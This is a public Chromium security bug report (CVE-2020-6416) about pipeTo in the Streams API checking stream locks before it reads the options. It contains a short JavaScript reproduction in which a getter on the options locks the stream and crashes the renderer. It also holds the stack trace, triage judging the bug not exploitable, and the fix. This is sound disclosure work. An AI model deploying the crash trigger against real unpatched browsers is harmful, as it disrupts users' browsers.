☆ Starred by 1 user

Owner:	ricea@chromium.org **OOO until January 5th**
CC:	yhirano@chromium.org achuith@chromium.org domenic@chromium.org
Status:	Verified *(Closed)*
Components:	Blink>Network>StreamsAPI
Modified:	Mar 19, 2020
Backlog-Rank:	----
Editors:	----
EstimatedDays:	----
NextAction:	2019-12-12
OS:	Linux, Android, Windows, Chrome, Mac, Fuchsia
Pri:	2
Type:	Bug-Security

reward-0
Security_Severity-Low
Security_Impact-Stable
Hotlist-Merge-Approved
M-80
allpublic
ClusterFuzz-Verified
CVE_description-submitted
merge-merged-3987
merge-merged-80
Release-0-M80
CVE-2020-6416

Issue 1031895: Security: ReadableStream::pipeTo do not check IsLockedStream

Reported by rapid...@gmail.com on Sun, Dec 8, 2019, 10:17 AM EST

Code

VULNERABILITY DETAILS

```
ScriptPromise ReadableStream::pipeTo(ScriptState* script_state,
                                     ScriptValue destination_value,
                                     ScriptValue options,
                                     ExceptionState& exception_state) {
********[1]********
  WritableStream* destination = PipeToCheckSourceAndDestination(
      script_state, this, destination_value, exception_state);
********[2]********
  auto* pipe_options =
      MakeGarbageCollected<PipeOptions>(script_state, options, exception_state);
  if (exception_state.HadException()) {
    return ScriptPromise();
  }



  ScriptPromise Start(ReadableStream* readable, WritableStream* destination) {
    // 1. Assert: ! IsReadableStream(source) is true.
    DCHECK(readable);

    // 2. Assert: ! IsWritableStream(dest) is true.
    DCHECK(destination);

    // Not relevant to C++ implementation:
    // 3. Assert: Type(preventClose) is Boolean, Type(preventAbort) is Boolean,
    //    and Type(preventCancel) is Boolean.

    // TODO(ricea): Implement |signal|.
    // 4. Assert: signal is undefined or signal is an instance of the
    //    AbortSignal interface.

    // 5. Assert: ! IsReadableStreamLocked(source) is false.
    DCHECK(!ReadableStream::IsLocked(readable));

    // 6. Assert: ! IsWritableStreamLocked(dest) is false.
    DCHECK(!WritableStream::IsLocked(destination));

    auto* isolate = script_state_->GetIsolate();
    ExceptionState exception_state(isolate, ExceptionState::kUnknownContext, "",
                                   "");

    // 7. If !
    //    IsReadableByteStreamController(source.[[readableStreamController]]) is
  //    true, let reader be either ! AcquireReadableStreamBYOBReader(source)
  //    or ! AcquireReadableStreamDefaultReader(source), at the user agent's
  //    discretion.
  // 8. Otherwise, let reader be ! AcquireReadableStreamDefaultReader(source).
  reader_ = ReadableStream::AcquireDefaultReader(script_state_, readable,
                                                 false, exception_state);
  DCHECK(!exception_state.HadException());

  // 9. Let writer be ! AcquireWritableStreamDefaultWriter(dest).
  writer_ = WritableStream::AcquireDefaultWriter(script_state_, destination,
                                                 exception_state);
```

in readableStreamInstance.pipeTo Spec, it should check IsLockedStream.
in Chromium, although check this, we can bypass it by using getter callback because pipe Options unpack after check IsLockedStream.
so in Start Function, writer or reader is not initialized

VERSION
Chrome Version: All

REPRODUCTION CASE

```
<html>
<script>
fetch('/')
// Retrieve its body as ReadableStream
.then(response => response.body)
.then(rs =>{
        var op = {
            preventAbort : false,
            preventCancel : false,
        };
        op.__defineGetter__("preventClose", ()=>{
                console.log("hello");
                ws.getWriter();
                return false;
            })
        alert("Start");
        ws = new WritableStream();
        rs.pipeTo(ws, op);
    }
).then(rs=>console.log(rs));
</script>
</html>
```

CREDIT INFORMATION
Reporter credit: Woojin Oh(@pwn_expoit) of STEALIEN

Comment 1 Deleted

Comment 2 Deleted

Comment 3 Deleted

Comment 4 Deleted

Comment 5 by ClusterFuzz on Mon, Dec 9, 2019, 3:18 PM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=4773557280243712.

Comment 6 by metzman@chromium.org on Mon, Dec 9, 2019, 3:21 PM EST

Labels: -Unreproducible -Test-Predator-Auto-Components OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows
Components: -Blink>Network>StreamsAPI

The first ClusterFuzz find was wrong. Ignore please, I've deleted them.
I was able to repro locally. I'm trying again on ClusterFuzz without the "alert" which I think prevents CF from reproing.

Comment 7 by metzman@chromium.org on Mon, Dec 9, 2019, 3:21 PM EST

Status: Untriaged (was: Unconfirmed)

Comment 8 by ClusterFuzz on Mon, Dec 9, 2019, 4:05 PM EST

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=6542034122702848.

Comment 9 by metzman@chromium.org on Mon, Dec 9, 2019, 4:14 PM EST

Status: Assigned (was: Untriaged)
Owner: ricea@chromium.org
Cc: yhirano@chromium.org
Labels: Security_Impact-Stable
Components: Blink>Network>StreamsAPI

Regardless, I don't think this is a security bug. Usually check failures outside of v8 are not.
ricea@ could you please take a look and confirm that this is/isn't a security vulnerability.

Comment 10 Deleted

Comment 11 Deleted

Comment 12 by metzman@chromium.org on Mon, Dec 9, 2019, 5:05 PM EST

Labels: -Security_Impact-Head Security_Impact-Stable

Comment 13 by ricea@chromium.org on Mon, Dec 9, 2019, 10:17 PM EST

Status: Started (was: Assigned)
Labels: Pri-1

This is very nice. Here is the stack trace I get:

```
Received signal 11 SEGV_MAPERR 000000000018
    #0 0x55d10d23211b in backtrace /b/swarming/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:4101:13
    #1 0x55d11703d039 in base::debug::CollectStackTrace(void**, unsigned long) ./../../base/debug/stack_trace_posix.cc:840:39
    #2 0x55d116e08243 in StackTrace ./../../base/debug/stack_trace.cc:206:12
    #3 0x55d116e08243 in base::debug::StackTrace::StackTrace() ./../../base/debug/stack_trace.cc:203:28
```

```
   #4 0x55d11703bcda in base::debug::(anonymous namespace)::StackDumpSignalHandler(int, siginfo_t*, void*) ./../../base/debug/stack_trace_posix.cc:345:3
   #5 0x7f6fe73a93a0 in __funlockfile ??:?
   #6 0x7f6fe73a93a0 in ?? ??:0
   #7 0x55d124629020 in GetRaw ./../../third_party/blink/renderer/platform/heap/member.h:232:44
   #8 0x55d124629020 in operator blink::WritableStream * ./../../third_party/blink/renderer/platform/heap/member.h:184:32
   #9 0x55d124629020 in OwnerWritableStream ./../../third_party/blink/renderer/core/streams/writable_stream_default_writer.h:100:50
   #10 0x55d124629020 in Destination ./../../third_party/blink/renderer/core/streams/readable_stream.cc:711:51
   #11 0x55d124629020 in blink::ReadableStream::PipeToEngine::CheckInitialState() ./../../third_party/blink/renderer/core/streams/readable_stream.cc:304:9
   #12 0x55d124626ded in blink::ReadableStream::PipeToEngine::Start(blink::ReadableStream*, blink::WritableStream*)
./../../third_party/blink/renderer/core/streams/readable_stream.cc:203:9
   #13 0x55d12462552d in PipeTo ./../../third_party/blink/renderer/core/streams/readable_stream.cc:1555:18
   #14 0x55d12462552d in blink::ReadableStream::pipeTo(blink::ScriptState*, blink::ScriptValue, blink::ScriptValue, blink::ExceptionState&)
./../../third_party/blink/renderer/core/streams/readable_stream.cc:1333:10
   #15 0x55d121e921c6 in PipeToMethod ./gen/third_party/blink/renderer/bindings/core/v8/v8_readable_stream.cc:240:32
   #16 0x55d121e921c6 in blink::V8ReadableStream::PipeToMethodCallback(v8::FunctionCallbackInfo<v8::Value> const&)
./gen/third_party/blink/renderer/bindings/core/v8/v8_readable_stream.cc:362:3
   #17 0x55d112fb830a in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) ./../../v8/src/api/api-arguments-inl.h:158:3
   #18 0x55d112fb5e7c in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Isolate*,
v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::HeapObject>, v8::internal::Handle<v8::internal::FunctionTemplateInfo>,
v8::internal::Handle<v8::internal::Object>, v8::internal::BuiltinArguments) ./../../v8/src/builtins/builtins-api.cc:111:36
   #19 0x55d112fb3cce in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) ./../../v8/src/builtins/builtins-api.cc:141:5
   #20 0x55d114ef29d8 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit ??:0:0
```

I think this is not exploitable, because it hits a null pointer exception before the state confusion can do any real harm.

I will fix it for ToT and then we can safely backport to M80. We shouldn't need to backport any further unless someone figures out a way it could be exploitable.

Comment 14 by metzman@chromium.org on Tue, Dec 10, 2019, 11:09 AM EST

Labels: M-80 Security_Severity-Low

Labeling this low severity based on #13 saying it isn't exploitable.

Comment 15 by bugdroid on Wed, Dec 11, 2019, 3:11 AM EST

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/bbbf1f6c1b6446a1321b5a67c2eddde23aa96fee

commit bbbf1f6c1b6446a1321b5a67c2eddde23aa96fee
Author: Adam Rice <ricea@chromium.org>
Date: Wed Dec 11 08:08:28 2019

Fix the order of operations in pipeTo

Previously, Blink's implementations of pipeTo and pipeThrough did some
initialisation operations in the wrong order. This was done to simplify
the code when there were two implementations.

Now only the native implementation remains, it is simpler to do the
operations in the correct order.

In particular, switch the order of checking options w.r.t. checking the
locked status of the streams to match the standard.

Also add tests to verify the order is correct.

~~BUG=1031895~~

Change-Id: I51fbf74f4cd33ffc357a34ab302d4c1bb7b1e77b
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1958550
Reviewed-by: Yutaka Hirano <yhirano@chromium.org>
Commit-Queue: Adam Rice <ricea@chromium.org>
Cr-Commit-Position: refs/heads/master@{#723732}

[modify] https://crrev.com/bbbf1f6c1b6446a1321b5a67c2eddde23aa96fee/third_party/blink/renderer/core/streams/readable_stream.cc
[modify] https://crrev.com/bbbf1f6c1b6446a1321b5a67c2eddde23aa96fee/third_party/blink/renderer/core/streams/readable_stream.h
[modify] https://crrev.com/bbbf1f6c1b6446a1321b5a67c2eddde23aa96fee/third_party/blink/web_tests/external/wpt/streams/piping/general.any.js
[modify] https://crrev.com/bbbf1f6c1b6446a1321b5a67c2eddde23aa96fee/third_party/blink/web_tests/external/wpt/streams/piping/pipe-through.any.js

Comment 16 by ricea@chromium.org on Wed, Dec 11, 2019, 3:12 AM EST

NextAction: 2019-12-12

The fix has landed in ToT. I will check the status in canary tomorrow before requesting merge to M80.

Comment 17 by sheriffbot@chromium.org on Wed, Dec 11, 2019, 10:37 AM EST

Labels: -Pri-1 Pri-2

Setting Pri-2 to match security severity Low. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 18 by ClusterFuzz on Wed, Dec 11, 2019, 1:32 PM EST

Status: Verified (was: Started)
Labels: ClusterFuzz-Verified

ClusterFuzz testcase 6542034122702848 is verified as fixed in https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=723731:723732

If this is incorrect, please add the ClusterFuzz-Wrong label and re-open the issue.

Comment 19 by awhalley@chromium.org on Wed, Dec 11, 2019, 5:53 PM EST

Labels: reward-topanel

Comment 20 by sheriffbot@chromium.org on Thu, Dec 12, 2019, 10:40 AM EST

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 21 by ricea@chromium.org on Mon, Dec 16, 2019, 11:22 PM EST

Labels: Merge-Request-80

Requesting merge of #15 to M80.
* It includes automated tests.
* It's been in canary for 5 days.
* The change just moves code around and should be safe.

Comment 22 by sheriffbot@chromium.org on Tue, Dec 17, 2019, 11:24 PM EST

Labels: -Merge-Request-80 Merge-Approved-80 Hotlist-Merge-Approved

Your change meets the bar and is auto-approved for M80. Please go ahead and merge the CL to branch 3987 (refs/branch-heads/3987) manually. Please contact milestone owner if you have questions.
Merge instructions: https://www.chromium.org/developers/how-tos/drover
Owners: govind@(Android), Kariahda@(iOS), dgagnon@(ChromeOS), srinivassista@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 23 by bugdroid on Wed, Dec 18, 2019, 1:46 AM EST

Labels: -merge-approved-80 merge-merged-3987 merge-merged-80

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src.git/+/faddfa7338ad2212dfe10499c5aa7fa4360f6266

commit faddfa7338ad2212dfe10499c5aa7fa4360f6266
Author: Adam Rice <ricea@chromium.org>
Date: Wed Dec 18 06:45:20 2019

Fix the order of operations in pipeTo

Previously, Blink's implementations of pipeTo and pipeThrough did some
initialisation operations in the wrong order. This was done to simplify
the code when there were two implementations.

Now only the native implementation remains, it is simpler to do the
operations in the correct order.

In particular, switch the order of checking options w.r.t. checking the
locked status of the streams to match the standard.

Also add tests to verify the order is correct.

~~BUG=1031895~~
TBR=yhirano@chromium.org

(cherry picked from commit bbbf1f6c1b6446a1321b5a67c2eddde23aa96fee)

Change-Id: I51fbf74f4cd33ffc357a34ab302d4c1bb7b1e77b
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1958550
Reviewed-by: Yutaka Hirano <yhirano@chromium.org>
Commit-Queue: Adam Rice <ricea@chromium.org>
Cr-Original-Commit-Position: refs/heads/master@{#723732}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1972733
Reviewed-by: Adam Rice <ricea@chromium.org>
Cr-Commit-Position: refs/branch-heads/3987@{#253}
Cr-Branched-From: c4e8da9871cc266be74481e212f3a5252972509d-refs/heads/master@{#722274}

[modify] https://crrev.com/faddfa7338ad2212dfe10499c5aa7fa4360f6266/third_party/blink/renderer/core/streams/readable_stream.cc
[modify] https://crrev.com/faddfa7338ad2212dfe10499c5aa7fa4360f6266/third_party/blink/renderer/core/streams/readable_stream.h
[modify] https://crrev.com/faddfa7338ad2212dfe10499c5aa7fa4360f6266/third_party/blink/web_tests/external/wpt/streams/piping/general.any.js
[modify] https://crrev.com/faddfa7338ad2212dfe10499c5aa7fa4360f6266/third_party/blink/web_tests/external/wpt/streams/piping/pipe-through.any.js

Comment 24 by natashapabrai@google.com on Wed, Jan 29, 2020, 7:08 PM EST

Labels: -reward-topanel reward-0

Unfortunately the Panel declined to reward this report

Comment 25 by adetaylor@google.com on Sat, Feb 1, 2020, 8:13 PM EST

Labels: Release-0-M80

Comment 26 by adetaylor@chromium.org on Mon, Feb 3, 2020, 6:49 PM EST

Labels: CVE-2020-6416 CVE_description-missing

Comment 27 by adetaylor@chromium.org on Mon, Feb 10, 2020, 4:37 PM EST

Labels: -CVE_description-missing CVE_description-submitted

Comment 28 by adetaylor@google.com on Wed, Mar 4, 2020, 1:44 PM EST

Cc: achuith@chromium.org

Comment 29 by sheriffbot on Thu, Mar 19, 2020, 1:53 PM EDT

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot